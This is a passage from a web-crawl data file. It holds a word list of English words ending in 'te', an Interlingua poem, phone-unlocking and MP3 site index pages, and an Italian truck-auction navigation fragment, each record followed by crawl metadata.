interstate interstimulate intervolute intestate intimate intimidate intonate intoxicate intrastate intravasate intricate intubate intumescente inturbidate inumbrate inundate invaginate invalidate invertebrate invertibrate investigate inveterate invigilate invigorate inviolate invite invocate involute iodinate iodite iodobromite iodochromate iodyrite iolite irate iridocyte irisate irradiate irrigate irritate ischiocerite ischiopodite isobutyrate isocyanate isocyanurate isogamete isolate isosulphocyanate isothiocyanate iterate itinerate jactitate jadeite jailmate jarosite jaspilite jixianite jubilate jugate jugulate jute kainite kalsilite kalymmocyte kamacite kaolinite karate karite karstenite karyocyte karyomerite keratinocyte keratocyte keratophyte kermesite kernite keynote kickplate kieserite kilobyte kimberlite kinetheodolite kitchenette kite kleptoparasite komatiite kryolite kryptonite kunzite kyanite labiate labradorite labrocyte laccolite lacerate laciniate lactate lactocyte lactophosphate laevogyrate lambaste lamellate lamellibranchiate laminate lamproite lamprophyllite lanceolate lancinate langbeinite lansfordite lastminute late laterite laterodeviate latite latte launderette laundrette laurdalite laureate lausenite lawsonite lazulite lazurite leachate leatherette legate legislate legitimate lemmocyte lenite lenticulate lepidocrocite lepidolite lepidophyte lepidote lepocyte leptocyte leptosporangiate leucite leucocyte leukocyte levitate lewisite libate liberate liftgate ligate lignite lignosulfonate limnophyte limonite lineate lipocyte liquidate lissoflagellate lite literate lithocyte lithophyte lithotrite litigate littermate lixiviate lobate locate lochiocyte lokiarchaeote lonsdaleite lophocyte lorate loricate lovebite lubricate lucite luddite lunate luncheonette lute lutite luxate luxuriate lycophyte lyddite lymphocyte lymphoidocyte lymphomonocyte lyrate lysate macadamite macerate machete machicolate machinate macroaggregate macroclimate macrocyte macroestimate macrogamete macrogametocyte macrogametophyte macroinvertebrate macrometacryptozoite macroparasite macroperforate macrophagocyte macrophanerophyte macrophyte maculate magazinette magistrate magnate magnesite magnetite magnetoplumbite magnoliophyte malachite malamute malappropriate maleate malemute malonate mandate manducate manganate manganite manipulate marcasite margarite margate marginate marguerite marinate marlite marmite martensite masticate mastocyte mate matriarchate matriculate matte maturate mebibyte meconate mediate medicate medioperforate meditate megabyte megagamete megagametophyte megakaryocyte megalocyte megalokaryocyte megaloplastocyte megaphanerophyte megaphyte megasporocyte megavertebrate meiocyte meionite melanite melanocyte mendicate menstruate mensurate mercurate mercuriate merocyte meropodite merozoite mesohydrophyte mesohygrophyte mesolite mesoparasite mesophanerophyte mesophyte mesoxerophyte mesquite messmate metabolite metallophyte metaphosphate metaphyte metaplumbate metasilicate metasomatite meteorite methacrylate methanate methotrexate methylate methylcarbamate methylphenidate metricate microcassette microclimate microcyte microencapsulate microestimate microfabricate microfelsite microfiltrate microgamete microgametocyte microgametophyte microgliacyte microinvertebrate microlite micrometacryptozoite micrometeorite microparasite micropegmatite microphagocyte microphanerophyte microphyte micropipette microplastocyte microplate microporphyrite micropropagate microsatellite microspherulite microsporocyte microstate microthermophyte microtitrate micturate midshipmate migmatite migrate miniate minicassette minute misallocate misappreciate misappropriate misarticulate misattribute miscalculate miscite miscommunicate miscompute misconjugate miscorrelate miscreate misdate misdistribute miseducate misestimate misevaluate misfortunate mislocate mismate misnarrate misnavigate mispunctuate misquote misregulate misrelate misroute misstate mistranslate misvote miswrite miswrote mite mitigate modderite moderate modulate molybdate molybdenite molybdofornacite molybdomenite molybdophyllite monazite monchiquite monetite mongolite monoacetate monocarpellate monochromate monocyte monoflagellate monoglutamate monohydrate monohydrocalcite monolaurate monomethylate mononitrate mononucleate monopalmitate monophosphate monophyte monosaturate monostearate monothelete monothelite monounsaturate monoxalate monticellite montmorillonite monzonite morcellate mordenite motivate motte mucronate mullite multiarticulate multibranchiate multibyte multicanaliculate multicuspidate multiflagellate multigate multigranulate multilamellate multilaminate multilobate multilobulate multimammate multinucleate multinucleolate multiovulate multiperforate multirate multisegmentate multisite multistate multivariate munite munitionette muriate muricate muscovite mutate mute mutilate mycetocyte mycocyte mycophyte myelinate myelocyte myelolymphocyte myocyte myristate myrmecophyte myxocyte myxoflagellate myxomycete nameplate nanocomposite nanocrystallite nanoencapsulate nanofabricate nanoparticulate nanophanerophyte nanopipette naphthalate narrate natrobistantite natrolite nauseate navigate necessitate necrocyte necrophyte negate negotiate nematocyte neocyte neonate neophyte nephelite nephrite nephrocyte nesosilicate netiquette neurocyte neurodendrite neurogliacyte neutrocyte nictate nictitate niobate niobite nitrate nitrite nitrobarite nitrobenzoate nitrogenate nitrophthalate nitrophyte noctambulate nodulate nominate nonaggregate nonarticulate nonaspirate nonathlete nonbarbiturate nonbranchiate noncarbohydrate noncarbonate noncertificate noncollegiate noncolumellate noncomplete noncomposite noncultivate noncuspidate noncute nondate nondebate nondefinite nondegenerate nondelegate nondeliberate nondeterminate nondeviate nonduplicate nonelectrolyte nonelite nonfinite nonflagellate nonfoliate nongraduate nonimbricate noninitiate nonintermediate nonintimate nonisolate nonlate nonlegitimate nonmate nonmoderate nonmultivariate nonmute nonnucleate nonoblate nonobligate nonobsolete nonocellate nonparasite nonparticulate nonphosphate nonradulate nonreplicate nonseptate nonsilicate nonsimulate nonstromatolite nonsubordinate nonsyndicate nonundulate nonvertebrate nonwhite norbergite norite normocyte noselite nosophyte notate note novelette nucleate numberplate numerate nymphette obcordate obdurate obfuscate objectivate objurgate oblanceolate oblate obligate obliquicanaliculate obliterate obovate obsagittate obsecrate obsolete obstetricate obstinate obviate occupate oceanophyte ocellate octuplicate oddpinnate odontolite oenanthylate oenocyte officemate officiate offsite oleate oligochaete oligodendrocyte olivenite ombrophyte omelette omostegite omphacite oncocyte oncolite onsite oocyte oogamete ookinete oolite oomycete oophyte operate operculate ophiolite opiate opposite orate orchestrate ordinate organophosphate orientate originate ornate orophyte orthoclasite orthoformate orthogranite orthophosphate orthosilicate oscillate osculate osmolyte osseointegrate osteochondrophyte osteocyte osteophyte ostomate otolite outcaste outcompete outdate outdebate outmanipulate outmate outpopulate outquote outrate outskate outstate outvote outwrite outwrote ovalocyte ovate overaccelerate overaccentuate overaccommodate overaccumulate overaerate overagitate overallocate overapproximate overarticulate overate overattenuate overbite overcalculate overchlorinate overcirculate overcommunicate overcompensate overcomplicate overconcentrate overconsiderate overcontribute overcoordinate overcultivate overdate overdebate overdecorate overdedicate overdeliberate overdelicate overdeviate overdifferentiate overdilate overdilute overdiscriminate overdistribute overdomesticate overdominate overduplicate overeducate overelaborate overelevate overemote overemulate overestimate overevaluate overexaggerate overexcite overgenerate overhydrate overillustrate overimitate overinflate overinhalate overinsulate overirrigate overlactate overlegislate overlubricate overmanipulate overmedicate overoperate overorchestrate overpopulate overprocrastinate overproliferate overpromote overproportionate overrate overregulate oversaturate oversecrete oversedate overspeculate overstate overstimulate overventilate overvote overwrite overwrote ovocyte ovulate oxalacetate oxalate oxalileucite oxaloacetate oxidate oxycarbonate oxygenate oxygenerate oxyhydrate oxylophyte oxymuriate oxynitrate oxyphyte oxysulfate oxysulphate ozocerite ozokerite ozonate paginate palaeoclimate palaeophyte palate palatoquadrate paleate paleoclimate paleophyte palette palliate palmate palmette palmitate palpate palpitate pandurate paniculate pantalette pantothenate papilionate papillate papillulate papulate parachute paragonite paraphyte paraquadrate parasite parietoquadrate paripinnate participate particulate passionate passivate paste pate patinate patriarchate patriate pauciarticulate paucidentate paucifoliate paucigranulate paucigranulocyte paucijugate paucinervate paucipinnate pauciplicate pauciradiate pearlywhite pebibyte pectate pectinate peculate pedate pedunculate pegmatite pelite peltate pendulate penetrate penicillate peninsulate penlite pentacetate pentahydrate pentahydrite pentahydroborite pentathlete pentlandite penultimate pepsinate peracetate perambulate perchlorate perchlorinate percolate peregrinate perennate perfluorinate perfoliate perforate pericyte peridotite periosteophyte peripenultimate peristriate perlite perlustrate permanganate permeate permutate permute pernoctate perorate perovskite peroxidate peroxyborate peroxyborinate perpetrate perpetuate persecute perseverate perspirate persulfate persulphate persulphocyanate perthiocyanate perthophyte perturbate perulate pervaporate petabyte petalite petiolate petite phaeochromocyte phaeophyte phagocyte phanerophyte pharmacosiderite phenacite phenakite phenate phenolate phenolsulphonate phenylate phlebolite phlogisticate phlogopite phorophyte phosphate phosphoenolpyruvate phosphoglycerate phosphonate phosphorate phosphorite phosphorylate phosphosilicate photoactivate photocatalyte photocoagulate photodisintegrate photodissociate photoduplicate photoinitiate photophosphorylate photophyte photoreactivate photostimulate photosynthate phototheodolite phreatophyte phthalate phycomycete phycophyte phyllophyte phyllosilicate phytoflagellate picante picrate picrite piedmontite pilate pinacocyte pinakiolite pinealocyte pinnate pinnatipartite pinophyte pipette pirate pirouette pisolite pistillate pituicyte pixilate placate plagioclasite planchette planogamete plaquette plasmacyte plasmocyte plate playdate playmate plebiscite pleonaste plicate ploughgate plumbate plumbite plumboferrite plumbomicrolite pluricuspidate pluriflagellate pluriovulate pneumocyte pneumonocyte podocyte podophthalmite poikilocyte polarite polite pollenate pollinate pollute polocyte polyalkylacrylate polybrominate polycarbonate polycarboxylate polychaete polychete polycyanoacrylate polyelectrolyte polyflagellate polyglutamate polyhydroxyalkanoate polyhydroxybutyrate polyisocyanate polykaryocyte polymastigate polymethacrylate polymignite polymignyte polymorphonucleate polyphosphate polypite polysorbate polysulfonate polysulphonate polytungstate polyunsaturate pomegranate pomegranite pontificate populate porcelainite porcelanite porcellanite porocyte porphyrite porphyrogenite porte postdate postdebate postdoctorate postflagellate postgraduate posthaste postillate postulate potentate potentiate poussette powellite powermate prasinophyte prate preaccommodate preaccumulate preactivate preadamite preadipocyte preagitate preallocate preambulate preantepenultimate preanticipate precalculate precelebrate preceptorate precipitate precirculate precommunicate precompensate precompute preconcentrate precongratulate preconsolidate precontemplate precontribute precultivate predate prededicate predegenerate predelegate predeliberate predelineate predesignate predestinate predeterminate predicate prediscriminate predistribute predominate preeducate preejaculate preequilibrate preestimate preevaporate prefabricate preflagellate preformulate pregenerate preignite preinoculate preinsulate preinvestigate preinvite preirrigate preisolate prejudicate prelate prelimitate preliquidate preliterate prelocate premedicate premeditate premyelocyte prenecessitate prenegotiate prenominate prenote preobligate prepaste prepenetrate preponderate prepromote prerequisite preroute presbyterate preseparate prestate prestimulate pretaste preterite pretranslate prevaccinate prevaricate primate private probate procaryote prochlorophyte procrastinate procreate profligate progenerate prognosticate progranulocyte prokaryote prolatocanaliculate proletariate proleucocyte proleukocyte proliferate prolongate promegalocyte promonocyte promote promulgate promyelocyte pronate propagate propenultimate propionate propitiate proportionate propreantepenultimate propylite prorate prorogate prosecute proselyte prostate prostitute prostrate protectorate protochordate protoepiphyte protohemicryptophyte protoimogolite protoleucocyte protoleukocyte protonate protophyte protopteridophyte protovermiculite protuberate provocate proximate prozymite prussiate prymnesiophyte psammite psammophyte psephite pseudobranchiate pseudocoelomate pseudoeducate pseudohermaphrodite pseudoleucocyte pseudoleukocyte pseudometallophyte pseudorosette psilophyte psychrophyte pteridophyte pterophyte pullulate pulsate pulvinate punctuate pupate purpurate pustulate pyocyte pyrite pyrochroite pyrochromate pyrolignite pyrolite pyrolusite pyrolysate pyrolyzate pyromorphite pyrophosphate pyrophyte pyrostilpnite pyrosulfate pyrosulfite pyrosulphate pyrosulphite pyrotartrate pyroxenite pyroxferroite pyroxmangite pyrrholite pyrrhotite pyruvate quadrate quadriannulate quadriarticulate quadricapsulate quadricuspidate quadristearate quadroxalate quadrumvirate quadruplicate quantitate quartette quartzite qubyte qugate quinolate quinovate quinquecostate quinquedentate quinquefoliate quinquefoliolate quinquelobate quinqueovulate quinquepartite quinquetuberculate quinquevirate quintuplicate quite quote racemate racemomethylate radiate radicate radioactivate radiobarite radiocommunicate radiolite radiolocate radulate raffinate raindate raphidophyte ratbite rate ratiocinate ravigote ravigotte reaccelerate reaccentuate reacclimate reaccommodate reaccrete reaccumulate reactivate readjudicate readministrate readvocate readwrite reaerate reaffiliate reaggravate reaggregate reagitate realestate realienate reallocate reamalgamate reanimate reannotate reappropriate reapproximate rearbitrate rearticulate reassimilate reassociate reattribute reauthenticate rebate rebite rebute recalcitrate recalculate recalibrate recanulate recapitulate recaptivate recarbonate recelebrate recertificate recidivate reciprocate recirculate recite recoagulate recogitate recollate recommunicate recompensate recompete recomplicate recompute reconcentrate reconciliate recondite reconfiscate recongratulate reconsecrate reconsolidate reconstitute recontaminate recontemplate recontribute recrate recreate recriminate recultivate recuperate recurvate redate redecorate rededicate redelegate redelete redeliberate redemonstrate redesignate redictate redifferentiate redilate redistribute redominate reduplicate reeducate reelevate reemigrate reenumerate reenunciate reequilibrate reescalate reestimate reevacuate reevaluate reexcavate reexecute refabricate reflate refocillate reformulate refrigerate refrustrate refumigate refute regelate regenerate regerminate regraduate regrate regulate regurgitate rehabilitate rehumiliate rehydrate rehypothecate reignite reilluminate reillustrate reimpregnate reinaugurate reincarcerate reincarnate reincite reincorporate reincubate reindicate reindoctrinate reinfiltrate reinflate reinitiate reinnervate reinoculate reinstantiate reinstate reinstitute reinsulate reintegrate reinterrogate reintubate reinvestigate reinvigorate reinvite reirradiate reirrigate reisolate reiterate rejuvenate relate relegate reliberate reliquidate relocate relubricate remate remediate remethylate remigate remigrate remonstrate remote remotivate remunerate remutate remyelinate renarrate renavigate renegate renegotiate renominate renotate renovate renucleate renumerate renunciate reobfuscate reobligate reoperate reorchestrate reordinate reorientate reoxygenate repaginate reparticipate repaste repatriate repenetrate repercolate reperforate reperpetrate rephosphorylate replate replete replicate repollute repopulate repostulate reprecipitate repristinate reprobate reproliferate repromote repropagate reprosecute repudiate repunctuate repute requisite requite requote reradiate reregulate reroute resalute resegregate resegregrate reseparate resimulate resituate resolute resonate respirate respite restate restimulate restipulate restitute resublimate resubstitute resupinate resuscitate resyndicate retabulate retaliate retaste reticulate reticulocyte retranslate retriangulate retribute retrodeviate reunite reupdate revacate revaccinate revalidate revaluate revegetate reventilate reverberate revindicate reviolate revote rewrite rewrote rheophyte rhipidoglossate rhizoflagellate rhizophyte rhodanate rhodochrosite rhodocyte rhodolite rhodonite rhodophyte rhyniophyte rhyolite ridgeplate rimocanaliculate rite rollerskate roommate roseate rosette rostrate rotate rote rotovate roulette route rubricate rudite ruminate runcinate ruralite rusticate rute saccate saccharate sagittate salicylate salinate salivate saltate salute sandmite sanitate saponate saprolite sapropelite saprophyte sarcocyte sate satellite satiate satrapate saturate sauceplate saute scaphocapitate scapolite scheelite schistocyte schizocyte schizomycete schizophyte schoolmate schorlomite scintillate sciophyte sclerocyte sclerodermite scolecite scratchplate screwplate scrobiculate scute seablite seatmate sebocyte secrete sedate segregate selenate selenite selenocyte selfannihilate selfcalibrate selfdeprecate selfdepreciate selfdevote selfeducate selfgenerate selfinflate selfmedicate selfpollinate selfpropagate selfregulate selfreplicate selfvalidate semiepiphyte semiliterate semilunate seminate semipalmate semiparasite semipennate semiprivate semisaprophyte semiterete senate sensate separate septate septemvirate septette septuplicate sequestrate seriate sericate sericite serpentinite serrate serrulate serviette sesquicarbonate sesquihydrate sesquiquadrate sesquisilicate sesquisulfate sesquisulphate sextette sextuplicate shikimate shipmate sibilate sideplate siderite siderocyte sigmate significate silhouette silicate silicoaluminate silicoaluminophosphate silicododecamolybdate silicododecatungstate silicoflagellate silicotitanate silicotungstate sillimanite silverplate simetite simulate sinuate site situate skate skiophyte skutterudite skywrite slate sluicegate smite smithsonite smote snakebite socialite sockette sodalite solenocyte soleplate solidstate solmisate solmizate solute somatophyte somite somnambulate sonicate sophisticate sopite soporate sorbate sorbite sorosilicate soulmate soundbite soupplate spate spathulate spatulate specificate spectate spectrolite speculate spermaphyte spermatocyte spermatophyte spermiate spermophyte sphacelate sphaerulite sphalerite sphenophyte spherocobaltite spherocyte spherulate spherulite sphincterate spicate spiculate spifflicate spiflicate spinnerette spirochaete spirochete spite splenocyte spoliate spongiocyte sporocyte sporophyte sporozoite sporulate sprite squamate stablemate stadholderate stadtholderate stagnate stalactite stalagmite stalemate stannite starlette state statuette statute staurolite steadystate stearate steatite steelplate stellate sternutate stibnite stilbite stimulate stipitate stipite stipulate stishovite stockinette stockroute stokesite stomate stomatocyte storiette strangulate streptophyte striate stridulate striopallidodentate stromatolite stuprate stylate stylobate stylolite subacetate subacute subaggregate subarcuate subclavate subcultrate subimbricate subjugate sublimate sublunate subluxate subnote subordinate subpedunculate subpetiolate subplate subprimate subrogate subsite subspathulate substantiate substate substitute substrate substriate subsulfate subsulphate subulate subungulate suburbanite subvertebrate subvote succenturiate succinate sucralfate sudate sufflate suffocate suffragette suffumigate sugilite suite sulcate sulfamate sulfate sulfhydrate sulfite sulfobenzoate sulfoglycolithocholate sulfonate sulfoxylate sulfoxyphosphate sulfozincate sulfurate sulfurette sulphate sulphobenzoate sulphocarbolate sulphocyanate sulphonate sulphoxylate sulphoxyphosphate sulphozincate sulphurate sulphurette sultanate summate superaccurate superacetate superactivate superacute superathlete supereducate superfetate superfoetate supernate superordinate superovulate superoxalate superoxygenate superphosphate supersaturate superstate superstimulate supersulfate supersulphate supertartrate supervote supinate supplicate suppurate surrogate svelte sybarite syenite syllabicate sylvite symbiote syncopate syncraniate syndesmophyte syndicate synkaryophyte syntagmatite synurophyte tablemate tabulate tachyglossate tachyhydrite tachylite tachylyte tachyzoite tailbite tailgate tantalate tanzanite tartrate taste taurodeoxycholate teammate tebibyte tectosilicate telecommunicate telecommute telecompute teleophyte telestrate tellurate tellurite temperate tempestite template tenocyte tenophyte tentaculate tentmate tephrite tephroite terabyte terebrate terephthalate terete tergiversate terminate termite ternate terneplate tessellate testate tetraacetate tetracuspidate tetrafluoroborate tetrahydrofolate tetrapinnate tetrarchate tetratheite tetrathionate tetrathiophosphate tetrathlete tetroxalate thalamostriate thalassiophyte thalassophyte thallophyte theodolite thermite thermoregulate thermostimulate therophyte thesocyte thioacetate thiobarbiturate thiobenzoate thiocarbamate thiocyanate thiomolybdate thionate thiosulfate thiosulphate thiotriphosphate tholeiite thorite thrombocyte thrombolite thymocyte thyrocyte tiddivate tidivate tinplate tintinnabulate titanate titanite titilate titillate titivate titrate tittivate toeplate toilette tolerate tollgate toluate tonalite tonette toothpaste toothplate topazite topazolite tornote torte tote towelette townsite trabeculate tracheophyte trachyte trampette transaminate translate translocate transmigrate transmutate transmute transpirate transubstantiate transubstantiationite transverberate transvestite treadplate tremolite tremulate trephocyte triacetate triangulate triannulate triarchate triathlete tribute trichocyte trichomaphyte trichophyte tricuspidate tridymite trifidate triflagellate trifoliate trifoliolate trifurcate trihydrate trihydrite trilaminate trilobate trilobite trimethylate trinitrate tripartite triphosphate tripinnate triplicate triradiate trisulfate trisulphate trite tritheite trithiocarbonate trithionate trithiophosphate tritiate triturate triumvirate troglodyte troilite trophocyte trophophyte trophozoite tropophyte truncate tuberculate tubocanaliculate tubulate tumultuate tungstate tungstenite tungstibite tungstite tunicate turbidite turbinate turnplate twinnite tylote typewrite typewrote ubiquinate ulcerate ultimate ultraconcentrate ultradelicate ultradiscrete ultrafiltrate ultraintimate ululate ulvophyte umbellate umbonate unabate unaccumulate unadulterate unaffectionate unalienate unarticulate uncaptivate unchaste uncinate uncompassionate uncomplete unconvolute uncrate uncreate undate undefinite undegenerate undelete undeliberate underaccelerate underaccentuate underaccommodate underaccumulate underaerate underallocate underapproximate underarticulate underate underattenuate underbite undercalculate undercontribute undercoordinate underdate underdebate underdeviate underdifferentiate underdilate underdilute underdistribute underduplicate underelevate underestimate undergenerate undergraduate underhydrate underinflate underinhalate underinsulate underirrigate undermanipulate underplate underpromote underquote underrate underregulate undersaturate undersedate understate understimulate underventilate undervote underwrite underwrote undeterminate undilute undomesticate undulate uneducate unelaborate unfiltrate unfortunate ungulate unicornuate unicuspidate unifenestrate uniflagellate unifoliate unilluminate unilobate uninflate uninitiate uninucleate unite univariate unmotivate unmute unnecessitate unproportionate unquote unregenerate unregulate unsaturate update uprate upregulate upstate uralite uranmicrolite urate urbanite urinate urochordate urosomite urostegite uroxanate urticate usherette uvarovite vacate vaccinate vacillate vacuolate validate valproate valuate vapulate variate variegate vasodilate vegetate venerate ventilate verberate verbigerate vermiculate vermiculite vertebrate vertibrate verticillate vesicate vesiculate vesuvianite vexillate vibrate vicariate videocassette vigilante vignette vinaigrette vindicate vinylate violate viridite vitiate vituperate vizierate vizirate vociferate volitate volute vote vulcanite vulcanizate vulvate wallplate wardmote waste wavellite waveplate website wellsite white willemite wolframate wolframite wollastonite workmate write wrote wulfenite wurtzilite wurtzite xalostocite xanthate xanthite xanthoconite xanthogenate xanthophyllite xanthophyte xanthopicrite xanthosiderite xenolite xenoparasite xenophyte xeromesophyte xerophyte xylonite yokemate yottabyte yperite zaratite zeagonite zeolite zeophyllite zettabyte zincate zincite zincochromite zincolyte zincospiroffite zincostaurolite zinkenite zirconate zircophyllite zircosulfate zircosulphate zoisite zonate zoocoenocyte zooflagellate zoogamete zoolite zooparasite zoophilite zoophyte zosterophyllophyte zygobranchiate zygomycete zygophyte zygote zymophosphate zymophyte zyophyte","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.litscape.com\/words\/ending_with\/e\/te_end_words.html","date":"2020-10-25T22:55:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107890028.58\/warc\/CC-MAIN-20201025212948-20201026002948-00075.warc.gz","language":"ina","language_score":0.464808017,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.46480801701545715, \"eng_Latn_score\": 0.2756381034851074, \"lat_Latn_score\": 0.037086643278598785, \"mlt_Latn_score\": 0.022448737174272537, \"sid_Latn_score\": 0.01410199049860239, \"fin_Latn_score\": 0.012640460394322872, \"ita_Latn_score\": 0.01148015446960926}","num_words":13473,"character_repetition_ratio":0.028,"word_repetition_ratio":0.001,"special_characters_ratio":0.092,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.459,"perplexity_score":14098.2,"cluster_detection":-1} +{"text":"Le\n|io era sceptic||–||sur le movimento|\n|de interlingua, nam||–||mesmo ubi era|\n|le plus activitate||–||in Facebook in su gruppos|\n|poco plus|\n|vigesimoprime||–||anno in le seculo|\n|un conferentia||–||como usual|\n|ora virtual||–||surprisa placente|\n|frequentate|\n|circa trenta esseva||–||al session presente|\n|non le mesme trenta||–||in cata assemblea|\n|qui vole pote sempre||–||unir se o partir|\n|ben flexibile|\n|ἀγών de filmes era||–||un parte del incontro|\n|e multes ha facite||–||multes multo ben|\n|con multe enthusiasmo||–||imagines, colores|\n|e parolas|\n|infortunatemente||–||ancora un mense postea|\n|nihil publicate||–||ganiantes del concurso|\n|remane sin le fama||–||que illes ya merita|\n|regrettabile|\n|le novas plus recente||–||del duo de augusto|\n|perdite iste chance||–||de promover le lingua|\n|viajar con le momento||–||que existe tan clarmente|\n|meliorabile|","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/rudhar.com\/lingtics\/intrlnga\/poesia\/momento.htm","date":"2021-09-27T13:15:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780058450.44\/warc\/CC-MAIN-20210927120736-20210927150736-00440.warc.gz","language":"ina","language_score":0.9858292341,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.98582923412323}","num_words":155,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.282,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":0.986,"perplexity_score":5978.6,"cluster_detection":-1} +{"text":"Inicio\nSamsung\nHuawei\nMotorola\nLG\nApple\nNokia\nalcatel\nSony\nXiaomi\nMost unlocked:\nOnePlus 8\niPhone 11\nSamsung A10s\nOppo Find X2\nAll posts in:\nNokia\nComo Liberar un Nokia G22 Gratis\nComo Liberar un Nokia C02 Gratis\nComo Liberar un Nokia C12 Gratis\nComo Liberar un Nokia 2780 Flip Gratis\nComo Liberar un Nokia X30 Gratis\nComo Liberar un Nokia G60 Gratis\nComo Liberar un Nokia C31 Gratis\nComo Liberar un Nokia G400 Gratis\nComo Liberar un Nokia 110 (2022) Gratis\nComo Liberar un Nokia 8210 4G Gratis\nComo Liberar un Nokia 5710 XA Gratis\nComo Liberar un Nokia 2660 Flip Gratis\nComo Liberar un Nokia G11 Plus Gratis\nComo Liberar un Nokia C200 Gratis\nComo Liberar un Nokia C100 Gratis\n‹ Newer Entries\nOlder Entries ›\nRecent Unlocked:\nOnePlus Nord N100\nSamsung Galaxy A12\nMotorola Moto G Play (2021)\nXiaomi Redmi Note 9\nLG K22\nOppo A15","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/comoliberar.com\/category\/nokia\/page\/2\/","date":"2024-02-26T00:10:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474649.44\/warc\/CC-MAIN-20240225234904-20240226024904-00186.warc.gz","language":"ina","language_score":0.3584949672,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.35849496722221375, \"ido_Latn_score\": 0.09952626377344131, \"rej_Latn_score\": 0.07242199033498764, \"lvs_Latn_score\": 0.0525936596095562, \"oci_Latn_score\": 0.03885793313384056, \"glg_Latn_score\": 0.0350816547870636, \"ind_Latn_score\": 0.03231247141957283, \"ast_Latn_score\": 0.028858607634902, \"frp_Latn_score\": 0.02825002744793892, \"pap_Latn_score\": 0.025772346183657646, \"ron_Latn_score\": 0.017875948920845985, \"ile_Latn_score\": 0.012072348035871983, \"spa_Latn_score\": 0.010763989761471748}","num_words":208,"character_repetition_ratio":0.383,"word_repetition_ratio":0.246,"special_characters_ratio":0.27,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.43,"perplexity_score":6177.4,"cluster_detection":-1} +{"text":"Inicio\nSamsung\nHuawei\nMotorola\nLG\nApple\nNokia\nalcatel\nSony\nXiaomi\nMost unlocked:\nOnePlus 8\niPhone 11\nSamsung A10s\nOppo Find X2\nAll posts in:\nZTE\nComo Liberar un ZTE Axon 30S Gratis\nComo Liberar un ZTE Axon 40 Pro Gratis\nComo Liberar un ZTE Axon 40 Ultra Gratis\nComo Liberar un ZTE nubia Z40 Pro Gratis\nComo Liberar un ZTE Blade V40 Vita Gratis\nComo Liberar un ZTE nubia Red Magic 7 Gratis\nComo Liberar un ZTE Blade A3 Plus Gratis\nComo Liberar un ZTE Blade A7P Gratis\nComo Liberar un ZTE Voyage 20 Pro Gratis\nComo Liberar un ZTE Avid 589 Gratis\nComo Liberar un ZTE Blade A71 Gratis\nComo Liberar un ZTE Blade A31 Plus Gratis\nComo Liberar un ZTE Blade A31 Gratis\nComo Liberar un ZTE Blade A31 Lite Gratis\nComo Liberar un ZTE Blade A51 Gratis\nOlder Entries ›\nRecent Unlocked:\nOnePlus Nord N100\nSamsung Galaxy A12\nMotorola Moto G Play (2021)\nXiaomi Redmi Note 9\nLG K22\nOppo A15","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/comoliberar.com\/category\/zte\/","date":"2024-02-26T00:06:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474649.44\/warc\/CC-MAIN-20240225234904-20240226024904-00186.warc.gz","language":"ina","language_score":0.6855196953,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.6855196952819824, \"glg_Latn_score\": 0.08532797545194626, \"ile_Latn_score\": 0.03655654937028885, \"vec_Latn_score\": 0.018115665763616562, \"ast_Latn_score\": 0.016085000708699226, \"ido_Latn_score\": 0.014773805625736713, \"lvs_Latn_score\": 0.014336897060275078, \"spa_Latn_score\": 0.012238177470862865, \"mwl_Latn_score\": 0.011887382715940475}","num_words":238,"character_repetition_ratio":0.35,"word_repetition_ratio":0.179,"special_characters_ratio":0.249,"stopwords_ratio":0.034,"flagged_words_ratio":0.0,"lang_id_score":0.656,"perplexity_score":8586.9,"cluster_detection":-1} +{"text":"Descargar Musica de Joao Neto E Frederico Le Le Le Online\nDescargar musica de joao neto e frederico le le le online gratis.\nBuscar: Artista y\/o cancion\n¿ Te gusta joao neto e frederico le le le ?\nResultados :\nEscuchar musica de joao neto e frederico le le le\nJoao Neto E Frederico Sb51 СамбаLe Le Le (Samba S51) 2012 Sa5103:05\nComentarios de Taringa MP3","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/mp3taringa.net\/mp3\/joao-neto-e-frederico-le-le-le","date":"2016-10-21T18:32:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988718296.19\/warc\/CC-MAIN-20161020183838-00004-ip-10-171-6-4.ec2.internal.warc.gz","language":"ina","language_score":0.5625134706,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.5625134706497192, \"vec_Latn_score\": 0.3073629140853882, \"spa_Latn_score\": 0.042750127613544464, \"sot_Latn_score\": 0.018008636310696602, \"tsn_Latn_score\": 0.015889950096607208}","num_words":113,"character_repetition_ratio":0.14,"word_repetition_ratio":0.212,"special_characters_ratio":0.252,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":0.591,"perplexity_score":6497.1,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite camion » Aste per le vendite camion cassone apertoAste per le vendite camion corpo chiusiAste per le vendite camion cisterneAste per le vendite camion speciali » Aste per le vendite camion cassone aperto ASTRAAste per le vendite DAFAste per le vendite FORDAste per le vendite IVECOAste per le vendite MANAste per le vendite MERCEDES-BENZAste per le vendite RENAULTAste per le vendite SCANIAAste per le vendite 